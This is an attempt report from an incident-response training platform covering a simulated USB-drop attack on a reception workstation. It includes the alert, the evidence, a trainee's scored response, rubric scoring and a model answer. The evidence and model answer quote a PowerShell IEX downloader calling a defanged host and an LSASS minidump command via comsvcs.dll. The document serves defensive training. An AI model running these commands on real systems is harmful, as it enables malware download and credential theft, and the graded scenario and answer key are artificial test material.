incident-response-trainer
Incident response training · Rule-based scoring
DemoCatalogDiagnosticHistoryDashboardCoach Notes
Attempt report

Receptionist plugged in USB labeled 'Q2 Bonus' — EDR flagged PowerShell launch

CybersecuritySuspicious USB DeviceDifficulty · Easy

Attempt 1 of 1 · cmqynpu8c003c0kx9q82jw48m

Progress vs previous attempt

This is your first attempt for this scenario. Retry the scenario to generate a side-by-side comparison against your previous response.

Progression · Keep practicing

Stay on Easy · Cybersecurity

3 signals are blocking advancement to Medium. Keep practicing at Easy until those areas stabilize. (Track: Cybersecurity)

Track · Cybersecurity
Easy
Sample · 5 recent attempts2 positive3 blocking

Signals helping

  • Dangerous action frequency. None in recent attempts
  • Rubric category coverage. 67% average (need ≥ 55%)

Signals blocking advancement

  • Recent average score. 65 / 100 (need ≥ 75)
  • Recent pass rate. 1 of 5 passed (need ≥ 66%)
  • Recent retry improvement trend. Score is regressing (-11.5 pts on later attempts)
Submission · what was sent and how you responded
Suspicious USB DeviceDifficulty · easyMedium asset
[EDR] Suspicious LNK + powershell.exe -enc on RECEPT-WS-01
From
EDR Alerts <edr-alerts@acme-corp.local>
To
soc@acme-corp.com
Date
2026-04-19 16:08 UTC
Automated alert from (rule USB-LNK-EXEC-02). Workstation RECEPT-WS-01 (reception desk, ground floor) executed a Windows shortcut (.lnk) from a removable USB drive at 16:03:17 UTC. The shortcut launched powershell.exe with an encoded command. Process tree: explorer.exe → powershell.exe -nop -w hidden -enc <base64> The reception staff member tells us she found a USB stick in the lobby labeled "Q2 Bonus — do not open" earlier today and plugged it in to "see who it belonged to." She has not used the workstation for any other task since. Please respond. — EDR / Endpoint Security
Evidence
EDR detection + USB enumeration (RECEPT-WS-01)
# Removable media event
Device:        USB Mass Storage  VID_0951&PID_1666 (Kingston)
Volume label:  Q2_BONUS
First seen:    2026-04-19 16:01:42 UTC on RECEPT-WS-01
Files:         Q2_Bonus_List.lnk, .hidden\stage1.ps1, README.txt

# LNK target (resolved)
target: %windir%\System32\WindowsPowerShell\v1.0\powershell.exe
args:   -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB...   (base64, decodes to IEX downloader)

# Decoded stage1 (preview)
$u = "https://cdn-doc-share[.]xyz/q2/s.ps1"
IEX (New-Object Net.WebClient).DownloadString($u)
# also attempts: rundll32 comsvcs.dll MiniDump <lsass pid> %TEMP%\l.dmp full

# Network activity from RECEPT-WS-01 (last 30 min)
16:03:18  TLS  RECEPT-WS-01 → cdn-doc-share[.]xyz:443
16:03:19  EDR blocked outbound to cdn-doc-share[.]xyz (low-rep, 8d-old domain)

# AV / VirusTotal lookup on stage1.ps1
SHA256 a14f..be07  →  41/72 (PowerShell.Downloader.*)
Affected asset
Name
RECEPT-WS-01
Type
Reception desk Windows workstation (shared, no privileged data stored locally)
Owner
Office Operations
Level
Medium
Your submitted response
933 words
Incident: INC-CYB-USB17 · SEV-3 / P3
Status: Investigating — endpoint containment in progress
Classification: Cybersecurity · Suspicious USB Device · PowerShell Downloader · Credential Theft Attempt
Affected asset: RECEPT-WS-01 · Reception desk Windows workstation · Medium criticality
Detected: 2026-04-19 16:08 UTC

SITUATION & SUMMARY

EDR generated an alert for suspicious removable media execution on RECEPT-WS-01, the reception desk workstation. A USB mass storage device labeled Q2_BONUS was inserted at 16:01 UTC. The device contained Q2_Bonus_List.lnk, .hidden\stage1.ps1, and README.txt.

At 16:03 UTC, the workstation executed a Windows shortcut file from the USB device. The shortcut launched powershell.exe with -nop -w hidden -enc, indicating an encoded, hidden PowerShell command. The decoded stage one script attempted to download and execute a second-stage PowerShell payload from cdn-doc-share[.]xyz. It also attempted an LSASS memory dump using rundll32 comsvcs.dll MiniDump, which indicates a credential-theft attempt.

EDR blocked outbound communication to cdn-doc-share[.]xyz, and the domain is low reputation and only 8 days old. The stage one script hash is detected by 41/72 AV engines as a PowerShell downloader. At this time, there is no confirmed evidence of successful second-stage download or data exfiltration, but the endpoint should be treated as potentially compromised until triage is complete.

SEVERITY & PRIORITY

This is rated SEV-3 / P3 because the affected workstation is medium criticality, EDR appears to have blocked outbound communication, and there is no confirmed exfiltration at this time.

However, containment should be handled urgently because the USB-launched script attempted credential theft through LSASS dumping. Even a reception workstation may contain cached credentials, shared-user tokens, browser sessions, VPN artifacts, or access to internal systems.

IMMEDIATE CONTAINMENT

Isolate RECEPT-WS-01 from the network using EDR network containment or physically disconnect it if EDR isolation is unavailable.
Instruct the receptionist to stop using the workstation immediately.
Preserve the USB device as physical evidence. Do not plug it into another corporate workstation.
Block cdn-doc-share[.]xyz at DNS, proxy, firewall, and EDR network controls.
Add detections for the USB volume label Q2_BONUS, files Q2_Bonus_List.lnk and .hidden\stage1.ps1, the stage one SHA256 a14f..be07, and the PowerShell command pattern using -nop -w hidden -enc.
Confirm whether EDR blocked the PowerShell process only at network egress or also blocked local execution activity.
Begin endpoint triage on RECEPT-WS-01 before reimaging.

ENDPOINT INVESTIGATION

Pull the full EDR process tree for explorer.exe → powershell.exe.
Decode and preserve the full PowerShell command and stage one script.
Determine whether the LSASS dump attempt succeeded and whether %TEMP%\l.dmp or any similar dump file exists.
Search for execution artifacts, including Prefetch, Amcache, Shimcache, PowerShell operational logs, Windows Event Logs, and EDR telemetry.
Check whether any files were written, scheduled tasks created, registry run keys modified, services installed, or additional scripts dropped.
Review network telemetry to confirm whether any connection to cdn-doc-share[.]xyz succeeded before the block.
Check whether the workstation accessed any other suspicious domains or IPs after USB insertion.
Identify the logged-in user at the time of execution and determine whether any credentials, tokens, browser sessions, or shared accounts may have been exposed.

SCOPE / HUNTING

Search EDR and removable media logs for the same USB device VID/PID, volume label Q2_BONUS, or files across all endpoints.
Search for the same stage one hash a14f..be07 across the environment.
Search for PowerShell executions with -nop, -w hidden, and -enc across endpoints in the last 7 days.
Search DNS/proxy/firewall logs for any access to cdn-doc-share[.]xyz.
Ask Office Operations and Facilities whether any similar USB devices were found in the lobby, conference rooms, parking areas, or reception area.
Review lobby CCTV if available to determine who left the USB device.

EVIDENCE PRESERVATION

Preserve the physical USB device in an evidence bag or controlled evidence location.
Photograph the USB device, label, workstation location, and any visible packaging or notes.
Preserve EDR alert details, process tree, command line, file hashes, and remediation status.
Preserve the LNK file, stage one script, and README.txt in a malware-analysis evidence repository.
Preserve network logs showing the attempted connection to cdn-doc-share[.]xyz.
Preserve Windows event logs and PowerShell logs from RECEPT-WS-01.
If policy requires, capture a forensic disk image or targeted forensic collection before reimaging.

RECOVERY & NEXT STEPS

Complete endpoint triage before returning RECEPT-WS-01 to service.
If LSASS dumping succeeded or compromise cannot be ruled out, reset passwords and revoke sessions for any users who logged into RECEPT-WS-01.
Reimage or rebuild the workstation after evidence collection if malicious execution is confirmed or endpoint integrity cannot be trusted.
Confirm the rebuilt workstation is fully patched, EDR protected, and configured to restrict removable media execution.
Review removable media policy for public-facing workstations.
Disable AutoRun/AutoPlay where applicable and enforce controls blocking execution from removable media.
Provide a targeted reminder to reception and office staff: found USB devices should be turned over to IT/Security and never plugged into workstations.

STAKEHOLDER COMMUNICATION

Notify Office Operations that the reception workstation is under containment and may be temporarily unavailable.
Notify Endpoint Security to begin forensic triage and enterprise hunting.
Notify Facilities/Security to look for additional suspicious USB devices and review relevant CCTV.
Notify IT Operations if a temporary replacement workstation is needed for reception coverage.

DO NOT

Do not plug the USB device into another workstation to inspect it.
Do not let the receptionist continue using RECEPT-WS-01 during investigation.
Do not simply delete the LNK/script and close the alert.
Do not reboot or reimage before preserving key EDR, Windows, PowerShell, and file evidence.
Do not assume EDR fully prevented compromise until the LSASS dump attempt and process activity are reviewed.
Do not send malware samples through email or chat.
Do not blame the receptionist as the response action; treat this as a social-engineering and endpoint-control incident.
Final score
68/ 100
933 words submitted
Verdict · Borderline

Reasonable start, but the response misses important incident response steps. Score: 68/100. Strongest area: Clarity & structure (100%). Weakest area: Recovery (33%) — expand this next time.

Category breakdown

Where points came from

coverage × weight = points
  • Attack understanding3/4 · 11.3 / 15
  • Asset impact2/3 · 6.7 / 10
  • Prioritization1/2 · 5.0 / 10
  • 3/5 · 12.0 / 20
  • Investigation4/5 · 12.0 / 15
  • Recovery1/3 · 3.3 / 10
  • Evidence preservation3/4 · 7.5 / 10
  • Clarity & structure2/2 · 10.0 / 10

Strengths

  • Attack understanding
  • Investigation
  • Evidence preservation
  • Clarity & structure

Missing / weak

  • Recovery

Dangerous actions detected

None detected in your response.

Learning · Coaching

Learn from this attempt

Post-submission coaching for this scenario. Score and verdict are unchanged — these notes are for your next attempt.

Why points were deducted

  • Recovery33% coverage

    Reimage the host and rotate cached credentials; tighten removable-media policy at the org level so the next lobby drop fails closed.

  • Prioritization50% coverage

    Declare a P1 confirmed-execution incident even though blocked ; the downloader still ran locally.

  • Containment60% coverage

    Isolate the host, block cdn-doc-share[.]xyz at , kill the process chain, and physically secure the USB; partial leaves either domain or network exposure open.

Model answer outline

From: Incident Response Lead (SOC on-call)To: IT Leadership · Affected Asset Owner · On-call SOCSubject: [SEV-3][INC-CYB-EA84C] Receptionist plugged in USB labeled 'Q2 Bonus' — EDR flagged PowerShell launch — status update
Incident · INC-CYB-EA84C · SEV-3 / P3Status · Investigating — containment in progressCybersecurity · Suspicious USB Device · EasyRECEPT-WS-01 · Medium criticalityDetected ~ 2026-04-19 16:08 UTC
Situation & summary

An attacker dropped a USB labeled `Q2 Bonus — do not open` in the lobby; reception plugged it into RECEPT-WS-01 to find the owner. The .lnk launched `powershell.exe -nop -w hidden -enc` (decoded: `IEX (New-Object Net.WebClient).DownloadString` from cdn-doc-share[.]xyz, plus a `comsvcs.dll MiniDump` LSASS attempt). EDR blocked the outbound but the downloader stage executed locally — treat the host as compromised.

Severity & priority

Rated SEV-3 / P3. Treat as a P1 confirmed-execution incident (powershell.exe -enc actually ran), not a curiosity ticket.

Prioritization & impact
  • Treat as a P1 confirmed-execution incident (powershell.exe -enc actually ran), not a curiosity ticket.
  • Reception is a shared workstation in the public lobby — assume blast radius beyond the receptionist's own session.
  • Loop in EDR / Endpoint Security and the SOC lead before any user-facing cleanup begins.
Containment (actions taken / in progress)
  • Network-isolate RECEPT-WS-01 via EDR (or pull the cable) so any retried egress fails closed.
  • Block cdn-doc-share[.]xyz and the resolved IP at proxy / DNS / firewall before unisolating any other host.
  • Disable the local user account (cached creds may already be compromised), kill the powershell / rundll32 chain, and unplug + bag the USB.
Investigation (in progress)
  • Image the USB (Q2_BONUS volume) and decode all three files (.lnk, .hidden\stage1.ps1, README.txt) before anyone touches the drive again.
  • Pull EDR process tree, PowerShell Operational / 4104 / 4688 events, and the full base64 -enc payload for the SOC record.
  • Check whether the LSASS minidump (`comsvcs.dll MiniDump`) actually wrote `%TEMP%\l.dmp` — if so, treat domain-cached credentials as exposed.
  • Hunt across the fleet: the same USB VID/PID, the same SHA256, or any traffic to cdn-doc-share[.]xyz.
Recovery & next steps
  • Reimage RECEPT-WS-01 from a clean image — do not just `clean` the executed downloader.
  • Reset the receptionist's password and any cached domain account that was active on the host.
  • Tighten device-control policy (Intune / GPO) so removable storage is read-only or blocked at user-edge endpoints by default.
Evidence preservation
  • Bag-and-tag the USB stick (physical evidence, intact) and capture the full forensic image plus SHA256 of every artifact.
  • Snapshot RAM / volatile state on RECEPT-WS-01 before reimage; preserve EDR telemetry and PowerShell transcripts.
  • Record VirusTotal lookups (41/72 on stage1.ps1), and keep the original lobby USB photograph + label as part of the case file.
Stakeholder communication
  • Brief the receptionist factually and reassuringly — she did the right thing by reporting; the goal is not blame.
  • Notify Office Operations and the building security team (a physical adversary may have walked the lobby).
  • Send a short org-wide note re-iterating the `do not plug in unknown USB` policy without naming the user.
Do NOT
  • Do not plug the USB into another machine to `see what it does`.
  • Do not format / wipe the USB before imaging — you destroy evidence.
  • Do not delete the dropped binary or the .ps1 from the workstation before hashing and capturing it.
  • Do not just reimage and move on without checking whether the LSASS minidump succeeded.

Dangerous actions to avoid

  • Do not plug the USB into another machine to `see what it does`.
  • Do not format / wipe the USB before imaging — you destroy evidence.
  • Do not delete the dropped binary or the .ps1 from the workstation before hashing and capturing it.
  • Do not just reimage and move on without checking whether the LSASS minidump succeeded.

How to improve next time

  • blocking the network call does not mean the host is clean — assume the local process executed and search for what it did before the block fired.
  • Always image the USB before plugging it in elsewhere; no `let me just try it on a sandbox laptop` shortcuts.
  • Decode the base64 -enc payload — never reason from `it was hidden so probably bad`; show the receiver the actual IEX downloader and the LSASS minidump call.
  • If the chain attempted LSASS dumping, treat any cached domain credentials on the host as exposed and rotate accordingly.
  • Tie the fix back to device-control policy: a single user-edge GPO / Intune change can convert this from a recurring lobby attack into a non-event.
AI · Supplemental review

Request an AI review of this attempt

This AI review is supplemental coaching. It does not change your official score or verdict. The review is only kept for this page session and is not saved permanently.

Review language
AI Tutor · Explains your result

AI Tutor

This tutor explains your result. It does not change your score. Pick a question to see how the deterministic grading reached your verdict and where to focus next.

Generated deterministically from your graded result — no AI model was called.

Why did I get this score?

Your verdict was Borderline at 68/100. That total is the sum of deterministic rubric points across 8 categories — each scores how much of its expected, ordered steps your answer covered, not an opinion about your writing. Your strongest coverage was Clarity & structure (100%). Points were held back mostly in Recovery (33%), Prioritization (50%), Containment (60%).

Rubric focusrecoveryprioritizationcontainment
Next study step

Re-read the recovery expectations for this scenario and list the concrete steps you missed.

This tutor explains your existing result. It does not change your score, verdict, or grade. Generated deterministically from your graded result — no AI model was called.

What should I improve first?

Focus on Recovery first — it is your weakest rubric area at 33% coverage and carries weight 10. For this scenario: Reimage the host and rotate cached credentials; tighten removable-media policy at the org level so the next lobby drop fails closed.

Rubric focusrecovery
Next study step

Rewrite your recovery section as a short numbered checklist before your next attempt.

This tutor explains your existing result. It does not change your score, verdict, or grade. Generated deterministically from your graded result — no AI model was called.

How does my answer compare to the model answer outline?

Compared with the model answer outline, the most useful sections to study are the ones matching your weak areas. Re-read the outline's recovery, prioritization, containment guidance and check which listed points you did not cover. The outline is a high-level checklist of expected points — use it to find gaps, not to copy a finished answer.

Rubric focusrecoveryprioritizationcontainment
Next study step

Pick one model-answer section you missed and add its key points to your next response in your own words.

This tutor explains your existing result. It does not change your score, verdict, or grade. Generated deterministically from your graded result — no AI model was called.

Which rubric area mattered most here?

Containment mattered most here: it carries the highest rubric weight (20), so coverage there moves your score the most. You covered 60% of it this time, worth 12 points.

Rubric focuscontainment
Next study step

Prioritise the highest-weight categories first; make sure containment is fully addressed before lower-weight ones.

This tutor explains your existing result. It does not change your score, verdict, or grade. Generated deterministically from your graded result — no AI model was called.

What should I study next?

Based on this attempt, study recovery, prioritization, containment next. Coaching tip for this scenario: EDR blocking the network call does not mean the host is clean — assume the local process executed and search for what it did before the block fired.

Rubric focusrecoveryprioritizationcontainment
Next study step

EDR blocking the network call does not mean the host is clean — assume the local process executed and search for what it did before the block fired.

This tutor explains your existing result. It does not change your score, verdict, or grade. Generated deterministically from your graded result — no AI model was called.

Save study notes for this attempt. They also collect in your mistake notebook.

Loading notes…